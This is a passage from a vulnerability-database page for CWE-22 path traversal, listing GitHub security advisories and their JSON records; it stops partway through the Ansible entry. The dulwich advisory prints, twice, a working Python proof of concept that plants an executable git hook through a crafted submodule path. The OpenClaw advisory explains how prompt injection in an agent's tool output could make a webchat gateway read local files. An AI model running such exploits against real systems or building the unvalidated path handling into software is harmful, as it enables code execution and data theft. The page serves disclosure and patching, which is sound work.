CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13212 vulnerabilities reference this CWE, most recent first.
GHSA-GFF2-CXG7-4QWR
Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2025-09-23 15:31A path traversal vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained administrator access to read the contents of unexpected files and expose sensitive data.
We have already fixed the vulnerability in the following versions: QTS 5.2.1.2930 build 20241025 and later QuTS hero h5.2.1.2929 build 20241025 and later
{
"affected": [],
"aliases": [
"CVE-2024-37046"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-22T16:15:23Z",
"severity": "LOW"
},
"details": "A path traversal vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained administrator access to read the contents of unexpected files and expose sensitive data.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.1.2930 build 20241025 and later\nQuTS hero h5.2.1.2929 build 20241025 and later",
"id": "GHSA-gff2-cxg7-4qwr",
"modified": "2025-09-23T15:31:04Z",
"published": "2024-11-22T21:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37046"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-24-43"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GFFF-HM7P-PRVF
Vulnerability from github – Published: 2022-07-12 00:00 – Updated: 2022-07-16 00:00The longmaoteamtf/audio_aligner_app repository through 2020-01-10 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.
{
"affected": [],
"aliases": [
"CVE-2022-31577"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-11T01:15:00Z",
"severity": "CRITICAL"
},
"details": "The longmaoteamtf/audio_aligner_app repository through 2020-01-10 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.",
"id": "GHSA-gfff-hm7p-prvf",
"modified": "2022-07-16T00:00:28Z",
"published": "2022-07-12T00:00:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31577"
},
{
"type": "WEB",
"url": "https://github.com/github/securitylab/issues/669#issuecomment-1117265726"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GFG9-5357-HV4C
Vulnerability from github – Published: 2026-04-29 21:34 – Updated: 2026-04-29 21:34Impact
OpenClaw deployments before 2026.4.15 could embed host-local audio files into webchat responses without applying the local media root containment check used by other media-serving paths.
If an attacker could influence an agent or tool-produced ReplyPayload.mediaUrl, the webchat audio embedding helper could resolve an absolute local path or file: URL, read an audio-like file under the size cap, and base64-encode it into the webchat media response. This crossed the model/tool-output boundary into a host file read. Prompt injection or malicious tool output is a delivery mechanism; the security boundary failure is the missing local-root containment check.
The impact is narrow: the file had to be readable by the gateway process, have an audio-like extension, and fit within the webchat audio size cap. The issue exposed contents into the webchat assistant/media transcript path; it was not a general remote filesystem API.
Affected Packages / Versions
- Package:
openclawon npm - Affected versions:
<= 2026.4.14 - Patched version:
2026.4.15
The latest public release, 2026.4.21, also contains the fix.
Patches
The public fix threads the applicable local media roots into the webchat audio embedding path and calls assertLocalMediaAllowed before local audio content is read. Current main also includes an additional trustedLocalMedia gate so untrusted model/tool payloads cannot opt into local audio embedding.
Fix commit:
6e58f1f9f54bca1fea1268ec0ee4c01a2af03dde
Workarounds
Upgrade to openclaw@2026.4.15 or later. The latest public release, 2026.4.21, is fixed. Before upgrading, avoid exposing webchat sessions to untrusted prompt/tool content that can influence reply media URLs.
Credits
OpenClaw thanks @zsxsoft for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.4.14"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T21:34:39Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Impact\n\nOpenClaw deployments before `2026.4.15` could embed host-local audio files into webchat responses without applying the local media root containment check used by other media-serving paths.\n\nIf an attacker could influence an agent or tool-produced `ReplyPayload.mediaUrl`, the webchat audio embedding helper could resolve an absolute local path or `file:` URL, read an audio-like file under the size cap, and base64-encode it into the webchat media response. This crossed the model/tool-output boundary into a host file read. Prompt injection or malicious tool output is a delivery mechanism; the security boundary failure is the missing local-root containment check.\n\nThe impact is narrow: the file had to be readable by the gateway process, have an audio-like extension, and fit within the webchat audio size cap. The issue exposed contents into the webchat assistant/media transcript path; it was not a general remote filesystem API.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` on npm\n- Affected versions: `\u003c= 2026.4.14`\n- Patched version: `2026.4.15`\n\nThe latest public release, `2026.4.21`, also contains the fix.\n\n## Patches\n\nThe public fix threads the applicable local media roots into the webchat audio embedding path and calls `assertLocalMediaAllowed` before local audio content is read. Current `main` also includes an additional `trustedLocalMedia` gate so untrusted model/tool payloads cannot opt into local audio embedding.\n\nFix commit:\n\n- `6e58f1f9f54bca1fea1268ec0ee4c01a2af03dde`\n\n## Workarounds\n\nUpgrade to `openclaw@2026.4.15` or later. The latest public release, `2026.4.21`, is fixed. Before upgrading, avoid exposing webchat sessions to untrusted prompt/tool content that can influence reply media URLs.\n\n## Credits\n\nOpenClaw thanks @zsxsoft for reporting.",
"id": "GHSA-gfg9-5357-hv4c",
"modified": "2026-04-29T21:34:39Z",
"published": "2026-04-29T21:34:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-gfg9-5357-hv4c"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/6e58f1f9f54bca1fea1268ec0ee4c01a2af03dde"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Webchat audio embedding could read local files without local-root containment"
}
GHSA-GFHV-VQV2-4544
Vulnerability from github – Published: 2026-07-02 17:50 – Updated: 2026-07-02 17:50Summary
dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.
This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.
Affected
- Package:
dulwich(PyPI) - Affected versions:
>=0.23.2, <1.2.5 - Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal
.git/hooksrather than a case- or short-name-aliased form.
Affected entry points:
- dulwich.porcelain.submodule_update(repo, init=True, recursive=True)
- dulwich.porcelain.clone(source, target, recurse_submodules=True)
- dulwich submodule update CLI / dulwich clone --recurse-submodules CLI
Vulnerable code
The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.
The attacker-controlled path enters the loop from iter_cached_submodules (submodule.py#L154-L168):
for path, target_sha in submodules_to_update:
path_str = (
path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path
)
submodule_name: bytes | None = None
for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):
if sm_path == path:
submodule_name = sm_name
break
if not submodule_name:
continue
It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):
submodule_path = os.path.join(r.path, path_str)
submodule_git_dir = os.path.join(r.controldir(), "modules", path_str)
Finally, the attacker tree's contents are materialized into that directory via build_index_from_tree with no validate_path_element argument, defaulting to the lax validator (submodule.py#L229-L234):
build_index_from_tree(
submodule_path,
sub_repo.index_path(),
sub_repo.object_store,
tree_id,
)
Three issues compound:
path_stroriginates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against.git,.., or other path-traversal patterns. The same value is read from the attacker-supplied.gitmodulesblob viaread_submodules, which also performs no validation.submodule_path = os.path.join(r.path, path_str)therefore resolves to an attacker-chosen directory anywhere on disk (e.g.<worktree>/.git/hooks).build_index_from_treeis called withoutvalidate_path_element, so it defaults tovalidate_path_element_default, which only rejects literal.git,., and... It does not refuse aroot_paththat is itself inside the parent's.gitdirectory, and it honors the attacker tree's file modes including executable bits (0o100755).
Reachability
A direct production call path from a user invocation: porcelain.clone(source, target, recurse_submodules=True) at dulwich/porcelain/__init__.py:1548-1551 calls submodule_update(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.
The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.
Any service that exposes porcelain.clone(..., recurse_submodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.
Proof of concept
End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.
import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree
WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")
# Attacker submodule contains a single file named "post-checkout"
# with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")
# Victim parent has a .gitmodules and a tree gitlink, both pointing at
# path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
b'[submodule "evil"]\n'
b'\tpath = .git/hooks\n'
b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")
# Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)
hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"
# git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())
The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.
Credit
tonghuaroot
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dulwich"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.2"
},
{
"fixed": "1.2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52726"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T17:50:00Z",
"nvd_published_at": "2026-06-10T23:16:50Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`dulwich.porcelain.submodule_update`, and by extension `porcelain.clone(..., recurse_submodules=True)`, materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious `.gitmodules` plus a matching tree gitlink whose `path` is `.git/hooks` (or any other directory inside the parent repository\u0027s `.git` directory) causes the attacker\u0027s submodule tree contents to be written directly into the victim\u0027s `.git/hooks/` directory, preserving executable mode bits. The dropped executables are then run by any subsequent `git` or `dulwich` command that invokes the matching hook, resulting in arbitrary code execution.\n\nThis is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich\u0027s separately implemented submodule porcelain.\n\n### Affected\n\n- **Package:** `dulwich` (PyPI)\n- **Affected versions:** `\u003e=0.23.2, \u003c1.2.5`\n- **Affected platforms:** all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal `.git/hooks` rather than a case- or short-name-aliased form.\n\nAffected entry points:\n- `dulwich.porcelain.submodule_update(repo, init=True, recursive=True)`\n- `dulwich.porcelain.clone(source, target, recurse_submodules=True)`\n- `dulwich submodule update` CLI / `dulwich clone --recurse-submodules` CLI\n\n### Vulnerable code\n\nThe submodule path from the tree\u0027s gitlink entry (and matching `.gitmodules`) is consumed without validation in [`dulwich/porcelain/submodule.py`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L234).\n\nThe attacker-controlled `path` enters the loop from `iter_cached_submodules` ([`submodule.py#L154-L168`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L168)):\n\n```python\nfor path, target_sha in submodules_to_update:\n path_str = (\n path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path\n )\n\n submodule_name: bytes | None = None\n for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):\n if sm_path == path:\n submodule_name = sm_name\n break\n\n if not submodule_name:\n continue\n```\n\nIt flows unchecked into `os.path.join` and the filesystem ([`submodule.py#L187-L188`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L187-L188)):\n\n```python\n submodule_path = os.path.join(r.path, path_str)\n submodule_git_dir = os.path.join(r.controldir(), \"modules\", path_str)\n```\n\nFinally, the attacker tree\u0027s contents are materialized into that directory via `build_index_from_tree` with no `validate_path_element` argument, defaulting to the lax validator ([`submodule.py#L229-L234`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L229-L234)):\n\n```python\n build_index_from_tree(\n submodule_path,\n sub_repo.index_path(),\n sub_repo.object_store,\n tree_id,\n )\n```\n\nThree issues compound:\n\n1. `path_str` originates from the parent repository\u0027s tree gitlink entry (attacker-controlled) and is never validated against `.git`, `..`, or other path-traversal patterns. The same value is read from the attacker-supplied `.gitmodules` blob via [`read_submodules`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/config.py#L1637-L1665), which also performs no validation.\n2. `submodule_path = os.path.join(r.path, path_str)` therefore resolves to an attacker-chosen directory anywhere on disk (e.g. `\u003cworktree\u003e/.git/hooks`).\n3. [`build_index_from_tree`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/index.py#L2034-L2044) is called without `validate_path_element`, so it defaults to `validate_path_element_default`, which only rejects literal `.git`, `.`, and `..`. It does not refuse a `root_path` that is itself inside the parent\u0027s `.git` directory, and it honors the attacker tree\u0027s file modes including executable bits (`0o100755`).\n\n### Reachability\n\nA direct production call path from a user invocation: `porcelain.clone(source, target, recurse_submodules=True)` at [`dulwich/porcelain/__init__.py:1548-1551`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/__init__.py#L1548-L1551) calls `submodule_update(repo, init=True, recursive=True)` once the parent clone completes, reaching the unsanitized loop at [`submodule.py#L154-L234`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L234).\n\nThe CLI command `dulwich clone --recurse-submodules \u003curl\u003e` reaches the same sink via [`dulwich/cli.py:2131`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/cli.py#L2131).\n\nAny service that exposes `porcelain.clone(..., recurse_submodules=True)` on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server \"fetch dependency from git\" features.\n\n### Proof of concept\n\nEnd-to-end against pip-installed `dulwich==1.2.4`, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs `git`. The payload writes a marker file rather than performing any destructive action.\n\n```python\nimport os, tempfile, subprocess\nimport dulwich.repo as r\nimport dulwich.porcelain as p\nfrom dulwich.objects import Blob, Commit, Tree\n\nWORKDIR = tempfile.mkdtemp(prefix=\"dulwich-poc-\")\nATTACKER = os.path.join(WORKDIR, \"att.git\")\nVICTIM_PARENT = os.path.join(WORKDIR, \"vic_parent.git\")\nVICTIM_WT = os.path.join(WORKDIR, \"vic_wt\")\nMARKER = os.path.join(WORKDIR, \"marker\")\n\n# Attacker submodule contains a single file named \"post-checkout\"\n# with mode 0755 and a benign shell payload that writes a marker file.\nattacker = r.Repo.init_bare(ATTACKER, mkdir=True)\npayload = b\"#!/bin/sh\\necho executed \u003e \" + MARKER.encode() + b\"\\n\"\npb = Blob.from_string(payload)\nattacker.object_store.add_object(pb)\nat = Tree()\nat.add(b\"post-checkout\", 0o100755, pb.id)\nattacker.object_store.add_object(at)\nac = Commit()\nac.tree = at.id\nac.author = ac.committer = b\"a \u003ca@a\u003e\"\nac.author_time = ac.commit_time = 0\nac.author_timezone = ac.commit_timezone = 0\nac.message = b\"x\"\nattacker.object_store.add_object(ac)\nattacker.refs[b\"refs/heads/master\"] = ac.id\nattacker.refs.set_symbolic_ref(b\"HEAD\", b\"refs/heads/master\")\n\n# Victim parent has a .gitmodules and a tree gitlink, both pointing at\n# path \".git/hooks\". The gitlink targets the attacker submodule commit.\nvictim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)\ngitmod = (\n b\u0027[submodule \"evil\"]\\n\u0027\n b\u0027\\tpath = .git/hooks\\n\u0027\n b\u0027\\turl = \u0027 + ATTACKER.encode() + b\u0027\\n\u0027\n)\ngmb = Blob.from_string(gitmod)\nvictim.object_store.add_object(gmb)\nvt = Tree()\nvt.add(b\".gitmodules\", 0o100644, gmb.id)\nvt.add(b\".git/hooks\", 0o160000, ac.id)\nvictim.object_store.add_object(vt)\nvc = Commit()\nvc.tree = vt.id\nvc.author = vc.committer = b\"a \u003ca@a\u003e\"\nvc.author_time = vc.commit_time = 0\nvc.author_timezone = vc.commit_timezone = 0\nvc.message = b\"v\"\nvictim.object_store.add_object(vc)\nvictim.refs[b\"refs/heads/master\"] = vc.id\nvictim.refs.set_symbolic_ref(b\"HEAD\", b\"refs/heads/master\")\n\n# Single victim call: clone with recurse_submodules=True\np.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)\n\nhook = os.path.join(VICTIM_WT, \".git\", \"hooks\", \"post-checkout\")\nassert os.path.exists(hook), \"hook was not written\"\nassert os.stat(hook).st_mode \u0026 0o111, \"hook is not executable\"\n\n# git running in the victim worktree then executes the dropped hook\nsubprocess.run([\"git\", \"-C\", VICTIM_WT, \"checkout\", \"master\"], check=True,\n capture_output=True)\nassert os.path.exists(MARKER), \"hook did not fire\"\nprint(\"Code execution confirmed:\", open(MARKER).read().strip())\n```\n\nThe trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (`post-checkout`, `pre-commit`, `post-merge`, `post-rewrite`, `post-applypatch`, and others). dulwich itself executes several hooks (`pre-commit`, `commit-msg`, `post-commit`, `pre-receive`, `update`, `post-receive`; see `dulwich/hooks.py` and `dulwich/repo.py`), so a victim using only dulwich is also reachable without upstream Git.\n\n### Credit\n\ntonghuaroot",
"id": "GHSA-gfhv-vqv2-4544",
"modified": "2026-07-02T17:50:01Z",
"published": "2026-07-02T17:50:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jelmer/dulwich/security/advisories/GHSA-gfhv-vqv2-4544"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52726"
},
{
"type": "PACKAGE",
"url": "https://github.com/jelmer/dulwich"
},
{
"type": "WEB",
"url": "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Dulwich\u0027s submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload"
}
GHSA-GFJC-7XX8-2P98
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42A local file inclusion vulnerability exists in the installation functionality of Advantech WebAccess/SCADA 9.0.1. A specially crafted application can lead to information disclosure. An attacker can send an authenticated HTTP request to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2020-13550"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-17T19:15:00Z",
"severity": "HIGH"
},
"details": "A local file inclusion vulnerability exists in the installation functionality of Advantech WebAccess/SCADA 9.0.1. A specially crafted application can lead to information disclosure. An attacker can send an authenticated HTTP request to trigger this vulnerability.",
"id": "GHSA-gfjc-7xx8-2p98",
"modified": "2022-05-24T17:42:26Z",
"published": "2022-05-24T17:42:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13550"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2020-1168"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GFJJ-596M-MJF9
Vulnerability from github – Published: 2022-05-17 03:19 – Updated: 2022-05-17 03:19Directory traversal vulnerability in dlopen in libvdpau before 1.1.1 allows local users to gain privileges via the VDPAU_DRIVER environment variable.
{
"affected": [],
"aliases": [
"CVE-2015-5199"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-09-08T15:59:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in dlopen in libvdpau before 1.1.1 allows local users to gain privileges via the VDPAU_DRIVER environment variable.",
"id": "GHSA-gfjj-596m-mjf9",
"modified": "2022-05-17T03:19:56Z",
"published": "2022-05-17T03:19:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5199"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1253826"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-November/170637.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-September/165546.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-September/167469.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2015-09/msg00012.html"
},
{
"type": "WEB",
"url": "http://lists.x.org/archives/xorg-announce/2015-August/002630.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2015/dsa-3355"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/76636"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2729-1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GFM5-6996-GV93
Vulnerability from github – Published: 2022-05-02 03:36 – Updated: 2022-05-02 03:36Directory traversal vulnerability in Advanced Electron Forum (AEF) 1.x allows remote attackers to determine the existence of arbitrary files via the avatargalfile parameter when changing an avatar, which leaks the existence of the file in an error message. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
{
"affected": [],
"aliases": [
"CVE-2009-2546"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-07-20T20:00:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in Advanced Electron Forum (AEF) 1.x allows remote attackers to determine the existence of arbitrary files via the avatargalfile parameter when changing an avatar, which leaks the existence of the file in an error message. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
"id": "GHSA-gfm5-6996-gv93",
"modified": "2022-05-02T03:36:19Z",
"published": "2022-05-02T03:36:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2546"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/51776"
},
{
"type": "WEB",
"url": "http://osvdb.org/55926"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35646"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GFQF-9W98-7JMX
Vulnerability from github – Published: 2024-02-06 00:30 – Updated: 2024-02-13 19:41Directory Traversal vulnerability in Stimulsoft GmbH Stimulsoft Dashboard.JS before v.2024.1.3 allows a remote attacker to execute arbitrary code via a crafted payload to the fileName parameter of the Save function.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "stimulsoft-dashboards-js"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2024.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-24398"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-06T18:23:19Z",
"nvd_published_at": "2024-02-06T00:15:08Z",
"severity": "CRITICAL"
},
"details": "Directory Traversal vulnerability in Stimulsoft GmbH Stimulsoft Dashboard.JS before v.2024.1.3 allows a remote attacker to execute arbitrary code via a crafted payload to the fileName parameter of the Save function.",
"id": "GHSA-gfqf-9w98-7jmx",
"modified": "2024-02-13T19:41:22Z",
"published": "2024-02-06T00:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24398"
},
{
"type": "WEB",
"url": "https://cloud-trustit.spp.at/s/Pi78FFazHamJQ5R"
},
{
"type": "WEB",
"url": "https://cves.at/posts/cve-2024-24398/writeup"
},
{
"type": "PACKAGE",
"url": "https://github.com/stimulsoft/Dashboards.JS"
},
{
"type": "WEB",
"url": "http://stimulsoft.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Stimulsoft Dashboard.JS directory traversal vulnerability"
}
GHSA-GFR2-QPXH-QJ9M
Vulnerability from github – Published: 2021-04-07 20:35 – Updated: 2024-09-09 21:18A flaw was found in the Ansible Engine when the fetch module is used. An attacker could intercept the module, inject a new path, and then choose a new destination path on the controller node. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ansible"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0a1"
},
{
"fixed": "2.7.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ansible"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0a1"
},
{
"fixed": "2.8.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ansible"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0a1"
},
{
"fixed": "2.9.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-1735"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
